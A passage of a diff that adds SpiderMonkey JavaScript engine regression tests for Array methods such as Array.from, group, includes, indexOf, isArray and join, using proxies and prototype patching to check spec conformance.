+++ b/js/src/tests/non262/Array/from_length_setter.js
@@ -0,0 +1,13 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from calls a length setter if present.
+var hits = 0;
+function C() {}
+C.prototype = {set length(v) { hits++; }};
+C.from = Array.from;
+var copy = C.from(["A", "B"]);
+assertEq(hits, 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_mapping.js b/js/src/tests/non262/Array/from_mapping.js
new file mode 100644
index 0000000000..568b9d6d7a
--- /dev/null
+++ b/js/src/tests/non262/Array/from_mapping.js
@@ -0,0 +1,41 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// If the mapfn argument to Array.from is undefined, don't map.
+assertDeepEq(Array.from([3, 4, 5], undefined), [3, 4, 5]);
+assertDeepEq(Array.from([4, 5, 6], undefined, Math), [4, 5, 6]);
+
+// mapfn is called with two arguments: value and index.
+var log = [];
+function f() {
+ log.push(Array.from(arguments));
+ return log.length;
+}
+assertDeepEq(Array.from(['a', 'e', 'i', 'o', 'u'], f), [1, 2, 3, 4, 5]);
+assertDeepEq(log, [['a', 0], ['e', 1], ['i', 2], ['o', 3], ['u', 4]]);
+
+// If the object to be copied is non-iterable, mapfn is still called with two
+// arguments.
+log = [];
+assertDeepEq(Array.from({0: "zero", 1: "one", length: 2}, f), [1, 2]);
+assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+// If the object to be copied is iterable and the constructor is not Array,
+// mapfn is still called with two arguments.
+log = [];
+function C() {}
+C.from = Array.from;
+var c = new C;
+c[0] = 1;
+c[1] = 2;
+c.length = 2;
+assertDeepEq(C.from(["zero", "one"], f), c);
+assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+// The mapfn is called even if the value to be mapped is undefined.
+assertDeepEq(Array.from([0, 1, , 3], String), ["0", "1", "undefined", "3"]);
+var arraylike = {length: 4, "0": 0, "1": 1, "3": 3};
+assertDeepEq(Array.from(arraylike, String), ["0", "1", "undefined", "3"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_primitive.js b/js/src/tests/non262/Array/from_primitive.js
new file mode 100644
index 0000000000..e3f68d8bc2
--- /dev/null
+++ b/js/src/tests/non262/Array/from_primitive.js
@@ -0,0 +1,21 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+for (let primitive of [true, 3.14, "hello", Symbol()]) {
+ let prototype = Object.getPrototypeOf(primitive);
+
+ Object.defineProperty(prototype, Symbol.iterator, {
+ configurable: true,
+ get() {
+ "use strict";
+ assertEq(this, primitive);
+ return () => [this][Symbol.iterator]();
+ },
+ });
+ assertEq(Array.from(primitive)[0], primitive);
+
+ delete prototype[Symbol.iterator];
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_proxy.js b/js/src/tests/non262/Array/from_proxy.js
new file mode 100644
index 0000000000..c3c82d0b7e
--- /dev/null
+++ b/js/src/tests/non262/Array/from_proxy.js
@@ -0,0 +1,55 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Two tests involving Array.from and a Proxy.
+var log = [];
+function LoggingProxy(target) {
+ var h = {
+ defineProperty: function (t, id) {
+ log.push("define", id);
+ return true;
+ },
+ has: function (t, id) {
+ log.push("has", id);
+ return id in t;
+ },
+ get: function (t, id) {
+ log.push("get", id);
+ return t[id];
+ },
+ set: function (t, id, v) {
+ log.push("set", id);
+ t[id] = v;
+ return true;
+ }
+ };
+ return new Proxy(target || [], h);
+}
+
+// When the new object created by Array.from is a Proxy,
+// Array.from calls handler.defineProperty to create new elements
+// but handler.set to set the length.
+LoggingProxy.from = Array.from;
+LoggingProxy.from([3, 4, 5]);
+assertDeepEq(log, ["define", "0", "define", "1", "define", "2", "set", "length"]);
+
+// When the argument passed to Array.from is a Proxy, Array.from
+// calls handler.get on it.
+log = [];
+assertDeepEq(Array.from(new LoggingProxy([3, 4, 5])), [3, 4, 5]);
+assertDeepEq(log, ["get", Symbol.iterator,
+ "get", "length", "get", "0",
+ "get", "length", "get", "1",
+ "get", "length", "get", "2",
+ "get", "length"]);
+
+// Array-like iteration only gets the length once.
+log = [];
+var arr = [5, 6, 7];
+arr[Symbol.iterator] = undefined;
+assertDeepEq(Array.from(new LoggingProxy(arr)), [5, 6, 7]);
+assertDeepEq(log, ["get", Symbol.iterator,
+ "get", "length", "get", "0", "get", "1", "get", "2"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_realms.js b/js/src/tests/non262/Array/from_realms.js
new file mode 100644
index 0000000000..e3a8636063
--- /dev/null
+++ b/js/src/tests/non262/Array/from_realms.js
@@ -0,0 +1,37 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+if (typeof newGlobal === 'function') {
+ // G.Array.from, where G is any global, produces an array whose prototype
+ // is G.Array.prototype.
+ var g = newGlobal();
+ var ga = g.Array.from([1, 2, 3]);
+ assertEq(ga instanceof g.Array, true);
+
+ // Even if G.Array is not passed in as the 'this' value to the call.
+ var from = g.Array.from
+ var ga2 = from([1, 2, 3]);
+ assertEq(ga2 instanceof g.Array, true);
+
+ // Array.from can be applied to a constructor from another realm.
+ var p = Array.from.call(g.Array, [1, 2, 3]);
+ assertEq(p instanceof g.Array, true);
+ var q = g.Array.from.call(Array, [3, 4, 5]);
+ assertEq(q instanceof Array, true);
+
+ // The default 'this' value received by a non-strict mapping function is
+ // that function's global, not Array.from's global or the caller's global.
+ var h = newGlobal(), result = undefined;
+ h.mainGlobal = this;
+ h.eval("function f() { mainGlobal.result = this; }");
+ g.Array.from.call(Array, [5, 6, 7], h.f);
+ // (Give each global in the test a name, for better error messages. But use
+ // globalName, because window.name is complicated.)
+ this.globalName = "main";
+ g.globalName = "g";
+ h.globalName = "h";
+ assertEq(result.globalName, "h");
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_string.js b/js/src/tests/non262/Array/from_string.js
new file mode 100644
index 0000000000..3ad19e253a
--- /dev/null
+++ b/js/src/tests/non262/Array/from_string.js
@@ -0,0 +1,23 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from on a string iterates over the string.
+assertDeepEq(Array.from("test string"),
+ ['t', 'e', 's', 't', ' ', 's', 't', 'r', 'i', 'n', 'g']);
+
+// Array.from on a string handles surrogate pairs correctly.
+var gclef = "\uD834\uDD1E"; // U+1D11E MUSICAL SYMBOL G CLEF
+assertDeepEq(Array.from(gclef), [gclef]);
+assertDeepEq(Array.from(gclef + " G"), [gclef, " ", "G"]);
+
+// Array.from on a string calls the @@iterator method.
+String.prototype[Symbol.iterator] = function* () { yield 1; yield 2; };
+assertDeepEq(Array.from("anything"), [1, 2]);
+
+// If the iterator method is deleted, Strings are still arraylike.
+delete String.prototype[Symbol.iterator];
+assertDeepEq(Array.from("works"), ['w', 'o', 'r', 'k', 's']);
+assertDeepEq(Array.from(gclef), ['\uD834', '\uDD1E']);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_surfaces.js b/js/src/tests/non262/Array/from_surfaces.js
new file mode 100644
index 0000000000..680b64817c
--- /dev/null
+++ b/js/src/tests/non262/Array/from_surfaces.js
@@ -0,0 +1,13 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Check superficial features of Array.from.
+var desc = Object.getOwnPropertyDescriptor(Array, "from");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+assertEq(Array.from.length, 1);
+assertThrowsInstanceOf(() => new Array.from(), TypeError); // not a constructor
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/from_this.js b/js/src/tests/non262/Array/from_this.js
new file mode 100644
index 0000000000..978c90b871
--- /dev/null
+++ b/js/src/tests/non262/Array/from_this.js
@@ -0,0 +1,48 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// The third argument to Array.from is passed as the 'this' value to the
+// mapping function.
+var hits = 0, obj = {};
+function f(x) {
+ assertEq(this, obj);
+ hits++;
+}
+Array.from(["a", "b", "c"], f, obj);
+assertEq(hits, 3);
+
+// Without an argument, undefined is passed...
+hits = 0;
+function gs(x) {
+ "use strict";
+ assertEq(this, undefined);
+ hits++;
+}
+Array.from("def", gs);
+assertEq(hits, 3);
+
+// ...and if the mapping function is non-strict, that means the global is
+// passed.
+var global = this;
+hits = 0;
+function g(x) {
+ assertEq(this, global);
+ hits++;
+}
+Array.from("ghi", g);
+assertEq(hits, 3);
+
+// A primitive value can be passed.
+for (var v of [0, "str", undefined]) {
+ hits = 0;
+ var mapfn = function h(x) {
+ "use strict";
+ assertEq(this, v);
+ hits++;
+ };
+ Array.from("pq", mapfn, v);
+ assertEq(hits, 2);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/frozen-dense-array.js b/js/src/tests/non262/Array/frozen-dense-array.js
new file mode 100644
index 0000000000..cdb86daa3b
--- /dev/null
+++ b/js/src/tests/non262/Array/frozen-dense-array.js
@@ -0,0 +1,42 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Author: Emilio Cobos Álvarez <ecoal95@gmail.com>
+ */
+var BUGNUMBER = 1310744;
+var summary = "Dense array properties shouldn't be modified when they're frozen";
+
+print(BUGNUMBER + ": " + summary);
+
+var a = Object.freeze([4, 5, 1]);
+
+function assertArrayIsExpected() {
+ assertEq(a.length, 3);
+ assertEq(a[0], 4);
+ assertEq(a[1], 5);
+ assertEq(a[2], 1);
+}
+
+assertThrowsInstanceOf(() => a.reverse(), TypeError);
+assertThrowsInstanceOf(() => a.shift(), TypeError);
+assertThrowsInstanceOf(() => a.unshift(0), TypeError);
+assertThrowsInstanceOf(() => a.sort(function() {}), TypeError);
+assertThrowsInstanceOf(() => a.pop(), TypeError);
+assertThrowsInstanceOf(() => a.fill(0), TypeError);
+assertThrowsInstanceOf(() => a.splice(0, 1, 1), TypeError);
+assertThrowsInstanceOf(() => a.push("foo"), TypeError);
+assertThrowsInstanceOf(() => { "use strict"; a.length = 5; }, TypeError);
+assertThrowsInstanceOf(() => { "use strict"; a[2] = "foo"; }, TypeError);
+assertThrowsInstanceOf(() => { "use strict"; delete a[0]; }, TypeError);
+assertThrowsInstanceOf(() => a.splice(Math.a), TypeError);
+
+// Shouldn't throw, since this is not strict mode, but shouldn't change the
+// value of the property.
+a.length = 5;
+a[2] = "foo";
+assertEq(delete a[0], false);
+
+assertArrayIsExpected();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/frozen-dict-mode-length.js b/js/src/tests/non262/Array/frozen-dict-mode-length.js
new file mode 100644
index 0000000000..e519b58920
--- /dev/null
+++ b/js/src/tests/non262/Array/frozen-dict-mode-length.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Author: Emilio Cobos Álvarez <ecoal95@gmail.com>
+ */
+var BUGNUMBER = 1312948;
+var summary = "Freezing a dictionary mode object with a length property should make Object.isFrozen report true";
+
+print(BUGNUMBER + ": " + summary);
+
+/* Convert to dictionary mode */
+delete Array.prototype.slice;
+
+Object.freeze(Array.prototype);
+assertEq(Object.isFrozen(Array.prototype), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/getter-name.js b/js/src/tests/non262/Array/getter-name.js
new file mode 100644
index 0000000000..3829c729ba
--- /dev/null
+++ b/js/src/tests/non262/Array/getter-name.js
@@ -0,0 +1,9 @@
+var BUGNUMBER = 1180290;
+var summary = 'Array getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Array, Symbol.species).get.name, "get [Symbol.species]");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/group-callback-evaluation.js b/js/src/tests/non262/Array/group-callback-evaluation.js
new file mode 100644
index 0000000000..0a917df33d
--- /dev/null
+++ b/js/src/tests/non262/Array/group-callback-evaluation.js
@@ -0,0 +1,20 @@
+// |reftest| shell-option(--enable-array-grouping) skip-if(!Array.prototype.group)
+
+var array = [1, 2, 3];
+
+var calls = 0;
+
+var grouped = array.group(() => {
+ calls++;
+
+ return {
+ toString() {
+ return "a";
+ }
+ }
+});
+
+assertEq(calls, 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/group-propertkey-is-length.js b/js/src/tests/non262/Array/group-propertkey-is-length.js
new file mode 100644
index 0000000000..79cb06b6a2
--- /dev/null
+++ b/js/src/tests/non262/Array/group-propertkey-is-length.js
@@ -0,0 +1,17 @@
+// |reftest| shell-option(--enable-array-grouping) skip-if(!Array.prototype.group)
+
+var array = [0];
+
+var grouped = array.group(() => "length");
+
+assertDeepEq(grouped, Object.create(null, {
+ length: {
+ value: [0],
+ writable: true,
+ enumerable: true,
+ configurable: true,
+ },
+}));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/group.js b/js/src/tests/non262/Array/group.js
new file mode 100644
index 0000000000..4df43d1445
--- /dev/null
+++ b/js/src/tests/non262/Array/group.js
@@ -0,0 +1,95 @@
+// |reftest| shell-option(--enable-array-grouping) skip-if(!Array.prototype.group)
+
+var BUGNUMBER = 1739648;
+var summary = "Implement Array.prototype.groupToMap || group";
+
+print(BUGNUMBER + ": " + summary);
+
+function isNeg(x) {
+ if (Object.is(x, -0) || x < 0) {
+ return true;
+ }
+ return false;
+}
+
+{
+ const a1 = [-Infinity, -2, -1, -0, 0, 1, 2, Infinity];
+ const expectedObj = { neg: [-Infinity, -2, -1, -0], pos: [0, 1, 2, Infinity] };
+ Object.setPrototypeOf(expectedObj, null);
+
+ const groupedArray = a1.group(x => isNeg(x) ? 'neg' : 'pos');
+ const mappedArray = a1.groupToMap(x => isNeg(x) ? 'neg' : 'pos');
+
+ assertEq(Object.getPrototypeOf(groupedArray), null)
+ assertDeepEq(groupedArray, expectedObj);
+ assertDeepEq(mappedArray.get("neg"), expectedObj["neg"]);
+ assertDeepEq(mappedArray.get("pos"), expectedObj["pos"]);
+
+
+ const expectedObj2 = {"undefined": [1,2,3]}
+ Object.setPrototypeOf(expectedObj2, null);
+ assertDeepEq([1,2,3].group(() => {}), expectedObj2);
+ assertDeepEq([].group(() => {}), Object.create(null));
+ assertDeepEq(([1,2,3].groupToMap(() => {})).get(undefined), [1,2,3]);
+ assertEq(([1,2,3].groupToMap(() => {})).size, 1);
+
+ const negMappedArray = a1.groupToMap(x => isNeg(x) ? -0 : 0);
+ assertDeepEq(negMappedArray.get(0), a1);
+ assertDeepEq(negMappedArray.size, 1);
+
+ assertThrowsInstanceOf(() => [].group(undefined), TypeError);
+ assertThrowsInstanceOf(() => [].group(null), TypeError);
+ assertThrowsInstanceOf(() => [].group(0), TypeError);
+ assertThrowsInstanceOf(() => [].group(""), TypeError);
+ assertThrowsInstanceOf(() => [].groupToMap(undefined), TypeError);
+ assertThrowsInstanceOf(() => [].groupToMap(null), TypeError);
+ assertThrowsInstanceOf(() => [].groupToMap(0), TypeError);
+ assertThrowsInstanceOf(() => [].groupToMap(""), TypeError);
+}
+
+const array = [ 'test' ];
+Object.defineProperty(Map.prototype, 4, {
+ get() {
+ throw new Error('monkey-patched Map get call');
+ },
+ set(v) {
+ throw new Error('monkey-patched Map set call');
+ },
+ has(v) {
+ throw new Error('monkey-patched Map has call');
+ }
+});
+
+const map1 = array.groupToMap(key => key.length);
+
+assertEq('test', map1.get(4)[0])
+
+Object.defineProperty(Array.prototype, '4', {
+ set(v) {
+ throw new Error('user observable array set');
+ },
+ get() {
+ throw new Error('user observable array get');
+ }
+});
+
+const map2 = array.groupToMap(key => key.length);
+const arr = array.group(key => key.length);
+
+assertEq('test', map2.get(4)[0])
+assertEq('test', arr[4][0])
+
+Object.defineProperty(Object.prototype, "foo", {
+ get() { throw new Error("user observable object get"); },
+ set(v) { throw new Error("user observable object set"); }
+});
+[1, 2, 3].group(() => 'foo');
+
+// Ensure property key is correctly accessed
+count = 0;
+p = [1].group(() => ({ toString() { count++; return 10 } }));
+assertEq(count, 1);
+[1].groupToMap(() => ({ toString() { count++; return 10 } }));
+assertEq(count, 1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Array/includes-trailing-holes.js b/js/src/tests/non262/Array/includes-trailing-holes.js
new file mode 100644
index 0000000000..b783cc36d8
--- /dev/null
+++ b/js/src/tests/non262/Array/includes-trailing-holes.js
@@ -0,0 +1,16 @@
+// Array with trailing hole as explicit "magic elements hole".
+assertEq([,].includes(), true);
+assertEq([,].includes(undefined), true);
+assertEq([,].includes(undefined, 0), true);
+assertEq([,].includes(null), false);
+assertEq([,].includes(null, 0), false);
+
+// Array with trailing hole with no explicit "magic elements hole".
+assertEq(Array(1).includes(), true);
+assertEq(Array(1).includes(undefined), true);
+assertEq(Array(1).includes(undefined, 0), true);
+assertEq(Array(1).includes(null), false);
+assertEq(Array(1).includes(null, 0), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/includes.js b/js/src/tests/non262/Array/includes.js
new file mode 100644
index 0000000000..aa439571ce
--- /dev/null
+++ b/js/src/tests/non262/Array/includes.js
@@ -0,0 +1,59 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1069063;
+var summary = "Implement Array.prototype.includes";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(typeof [].includes, "function");
+assertEq([].includes.length, 1);
+
+assertTrue([1, 2, 3].includes(2));
+assertTrue([1,,2].includes(2));
+assertTrue([1, 2, 3].includes(2, 1));
+assertTrue([1, 2, 3].includes(2, -2));
+assertTrue([1, 2, 3].includes(2, -100));
+assertTrue([Object, Function, Array].includes(Function));
+assertTrue([-0].includes(0));
+assertTrue([NaN].includes(NaN));
+assertTrue([,].includes());
+assertTrue(staticIncludes("123", "2"));
+assertTrue(staticIncludes({length: 3, 1: 2}, 2));
+assertTrue(staticIncludes({length: 3, 1: 2, get 3(){throw ""}}, 2));
+assertTrue(staticIncludes({length: 3, get 1() {return 2}}, 2));
+assertTrue(staticIncludes({__proto__: {1: 2}, length: 3}, 2));
+assertTrue(staticIncludes(new Proxy([1], {get(){return 2}}), 2));
+
+assertFalse([1, 2, 3].includes("2"));
+assertFalse([1, 2, 3].includes(2, 2));
+assertFalse([1, 2, 3].includes(2, -1));
+assertFalse([undefined].includes(NaN));
+assertFalse([{}].includes({}));
+assertFalse(staticIncludes({length: 3, 1: 2}, 2, 2));
+assertFalse(staticIncludes({length: 3, get 0(){delete this[1]}, 1: 2}, 2));
+assertFalse(staticIncludes({length: -100, 0: 1}, 1));
+
+assertThrowsInstanceOf(() => staticIncludes(), TypeError);
+assertThrowsInstanceOf(() => staticIncludes(null), TypeError);
+assertThrowsInstanceOf(() => staticIncludes({get length(){throw TypeError()}}), TypeError);
+assertThrowsInstanceOf(() => staticIncludes({length: 3, get 1() {throw TypeError()}}, 2), TypeError);
+assertThrowsInstanceOf(() => staticIncludes({__proto__: {get 1() {throw TypeError()}}, length: 3}, 2), TypeError);
+assertThrowsInstanceOf(() => staticIncludes(new Proxy([1], {get(){throw TypeError()}})), TypeError);
+
+function assertTrue(v) {
+ assertEq(v, true);
+}
+
+function assertFalse(v) {
+ assertEq(v, false);
+}
+
+function staticIncludes(o, v, f) {
+ return [].includes.call(o, v, f);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/index-with-null-character.js b/js/src/tests/non262/Array/index-with-null-character.js
new file mode 100644
index 0000000000..51e71bc8a9
--- /dev/null
+++ b/js/src/tests/non262/Array/index-with-null-character.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var testArray = [1, 2, 3]
+assertEq(testArray['0' + '\0'], undefined);
+assertEq(testArray['1' + '\0' + 'aaaa'], undefined)
+assertEq(testArray['\0' + '2'], undefined);
+assertEq(testArray['\0' + ' 2'], undefined);
+
+testArray['\0'] = 'hello';
+testArray[' \0'] = 'world';
+assertEq(testArray['\0'], 'hello');
+assertEq(testArray[' \0'], 'world');
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/indexOf-never-returns-negative-zero.js b/js/src/tests/non262/Array/indexOf-never-returns-negative-zero.js
new file mode 100644
index 0000000000..0b39bf0a16
--- /dev/null
+++ b/js/src/tests/non262/Array/indexOf-never-returns-negative-zero.js
@@ -0,0 +1,4 @@
+assertEq([17].indexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/indexOf-packed-array.js b/js/src/tests/non262/Array/indexOf-packed-array.js
new file mode 100644
index 0000000000..97c2da8855
--- /dev/null
+++ b/js/src/tests/non262/Array/indexOf-packed-array.js
@@ -0,0 +1,40 @@
+function makeArray(array) {
+ var log = [];
+ Object.setPrototypeOf(array, new Proxy(Array.prototype, new Proxy({
+ has(t, pk) {
+ log.push(`Has:${String(pk)}`);
+ return Reflect.has(t, pk);
+ },
+ }, {
+ get(t, pk, r) {
+ if (pk in t)
+ return Reflect.get(t, pk, r);
+ throw new Error(`Unexpected trap "${pk}" called`);
+ }
+ })));
+ return {array, log};
+}
+
+
+var {array, log} = makeArray([1, null, 3]);
+Array.prototype.indexOf.call(array, 100, {
+ valueOf() {
+ array.length = 0;
+ return 0;
+ }
+});
+assertEqArray(log, ["Has:0", "Has:1", "Has:2"]);
+
+
+var {array, log} = makeArray([5, undefined, 7]);
+Array.prototype.lastIndexOf.call(array, 100, {
+ valueOf() {
+ array.length = 0;
+ return 2;
+ }
+});
+assertEqArray(log, ["Has:2", "Has:1", "Has:0"]);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/isArray.js b/js/src/tests/non262/Array/isArray.js
new file mode 100644
index 0000000000..b752ad54e4
--- /dev/null
+++ b/js/src/tests/non262/Array/isArray.js
@@ -0,0 +1,67 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var global = this;
+var otherGlobal = newGlobal();
+
+var thisGlobal = () => global;
+var alternateGlobals = (function(i) {
+ return () => (i++ % 2) === 0 ? global : otherGlobal;
+})(0);
+
+function performTests(pickGlobal)
+{
+ // Base case.
+ assertEq(Array.isArray([]), true);
+
+ // Simple case: proxy to an array.
+ var proxy = new (pickGlobal()).Proxy([], {});
+ assertEq(Array.isArray(proxy), true);
+
+ // Recursive proxy ultimately terminating in an array.
+ for (var i = 0; i < 10; i++) {
+ proxy = new (pickGlobal()).Proxy(proxy, {});
+ assertEq(Array.isArray(proxy), true);
+ }
+
+ // Revocable proxy to an array.
+ var revocable = (pickGlobal()).Proxy.revocable([], {});
+ proxy = revocable.proxy;
+ assertEq(Array.isArray(proxy), true);
+
+ // Recursive proxy ultimately terminating in a revocable proxy to an array.
+ for (var i = 0; i < 10; i++) {
+ proxy = new (pickGlobal()).Proxy(proxy, {});
+ assertEq(Array.isArray(proxy), true);
+ }
+
+ // Revoked proxy to (formerly) an array.
+ revocable.revoke();
+ assertThrowsInstanceOf(() => Array.isArray(revocable.proxy), TypeError);
+
+ // Recursive proxy ultimately terminating in a revoked proxy to an array.
+ assertThrowsInstanceOf(() => Array.isArray(proxy), TypeError);
+
+}
+
+performTests(thisGlobal);
+performTests(alternateGlobals);
+
+function crossGlobalTest()
+{
+ var array = new otherGlobal.Array();
+
+ // Array from another global.
+ assertEq(Array.isArray(array), true);
+
+ // Proxy to an array from another global.
+ assertEq(Array.isArray(new Proxy(array, {})), true);
+
+ // Other-global proxy to an array from that selfsame global.
+ assertEq(Array.isArray(new otherGlobal.Proxy(array, {})), true);
+}
+
+crossGlobalTest();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/iterator_edge_cases.js b/js/src/tests/non262/Array/iterator_edge_cases.js
new file mode 100644
index 0000000000..156aaba5f1
--- /dev/null
+++ b/js/src/tests/non262/Array/iterator_edge_cases.js
@@ -0,0 +1,50 @@
+// Test that we can't confuse %ArrayIteratorPrototype% for an
+// ArrayIterator object.
+function TestArrayIteratorPrototypeConfusion() {
+ var iter = [][Symbol.iterator]();
+ try {
+ iter.next.call(Object.getPrototypeOf(iter))
+ throw new Error("Call did not throw");
+ } catch (e) {
+ assertEq(e instanceof TypeError, true);
+ assertEq(e.message, "next method called on incompatible Array Iterator");
+ }
+}
+TestArrayIteratorPrototypeConfusion();
+
+// Tests that we can use %ArrayIteratorPrototype%.next on a
+// cross-compartment iterator.
+function TestArrayIteratorWrappers() {
+ var iter = [][Symbol.iterator]();
+ assertDeepEq(iter.next.call(newGlobal().eval('[5][Symbol.iterator]()')),
+ { value: 5, done: false })
+}
+if (typeof newGlobal === "function") {
+ TestArrayIteratorWrappers();
+}
+
+// Tests that calling |next| on an array iterator after iteration has finished
+// doesn't get the array's |length| property.
+function TestIteratorNextGetLength() {
+ var lengthCalledTimes = 0;
+ var array = {
+ __proto__: Array.prototype,
+ get length() {
+ lengthCalledTimes += 1;
+ return {
+ valueOf() {
+ return 0;
+ }
+ };
+ }
+ };
+ var it = array[Symbol.iterator]();
+ it.next();
+ it.next();
+ assertEq(1, lengthCalledTimes);
+}
+TestIteratorNextGetLength();
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Array/join-01.js b/js/src/tests/non262/Array/join-01.js
new file mode 100644
index 0000000000..3cc6cccd0d
--- /dev/null
+++ b/js/src/tests/non262/Array/join-01.js
@@ -0,0 +1,83 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+print("ES5: Array.prototype.join");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+var stringifyCounter = { toString: function() { count++; return "obj"; } };
+
+var arr = [1, 2, 3, 4, 5];
+assertEq(arr.join(), "1,2,3,4,5");
+assertEq(arr.join(","), "1,2,3,4,5");
+assertEq(arr.join(undefined), "1,2,3,4,5");
+assertEq(arr.join(4), "142434445");
+assertEq(arr.join(""), "12345");
+
+count = 0;
+assertEq(arr.join(stringifyCounter), "1obj2obj3obj4obj5");
+assertEq(count, 1);
+
+var holey = [1, 2, , 4, 5];
+assertEq(holey.join(), "1,2,,4,5");
+assertEq(holey.join(","), "1,2,,4,5");
+assertEq(holey.join(undefined), "1,2,,4,5");
+assertEq(holey.join(4), "14244445");
+
+count = 0;
+assertEq(holey.join(stringifyCounter), "1obj2objobj4obj5");
+assertEq(count, 1);
+
+var nully = [1, 2, 3, null, 5];
+assertEq(nully.join(), "1,2,3,,5");
+assertEq(nully.join(","), "1,2,3,,5");
+assertEq(nully.join(undefined), "1,2,3,,5");
+assertEq(nully.join(4), "14243445");
+
+count = 0;
+assertEq(nully.join(stringifyCounter), "1obj2obj3objobj5");
+assertEq(count, 1);
+
+var undefiney = [1, undefined, 3, 4, 5];
+assertEq(undefiney.join(), "1,,3,4,5");
+assertEq(undefiney.join(","), "1,,3,4,5");
+assertEq(undefiney.join(undefined), "1,,3,4,5");
+assertEq(undefiney.join(4), "14434445");
+
+count = 0;
+assertEq(undefiney.join(stringifyCounter), "1objobj3obj4obj5");
+assertEq(count, 1);
+
+var log = '';
+arr = {length: {valueOf: function () { log += "L"; return 2; }},
+ 0: "x", 1: "z"};
+var sep = {toString: function () { log += "S"; return "y"; }};
+assertEq(Array.prototype.join.call(arr, sep), "xyz");
+assertEq(log, "LS");
+
+var funky =
+ {
+ toString: function()
+ {
+ Array.prototype[1] = "chorp";
+ Object.prototype[3] = "fnord";
+ return "funky";
+ }
+ };
+var trailingHoles = [0, funky, /* 2 */, /* 3 */,];
+assertEq(trailingHoles.join(""), "0funkyfnord");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Array/join-no-has-trap.js b/js/src/tests/non262/Array/join-no-has-trap.js
new file mode 100644
index 0000000000..16b8cbedb1
--- /dev/null
+++ b/js/src/tests/non262/Array/join-no-has-trap.js
@@ -0,0 +1,36 @@
+// Test that Array.prototype.join doesn't call the [[HasProperty]] internal
+// method of objects.
+
+var log = [];
+var array = [];
+var proxy = new Proxy(array, new Proxy({}, {
+ get(t, trap, r) {
+ return (t, pk, ...more) => {
+ log.push(`${trap}:${String(pk)}`);
+ return Reflect[trap](t, pk, ...more);
+ };
+ }
+}));
+
+var result;
+
+result = Array.prototype.join.call(proxy);
+assertEqArray(log, [ "get:length" ]);
+assertEq(result, "");
+
+log.length = 0;
+array.push(1);
+
+result = Array.prototype.join.call(proxy);
+assertEqArray(log, [ "get:length", "get:0" ]);
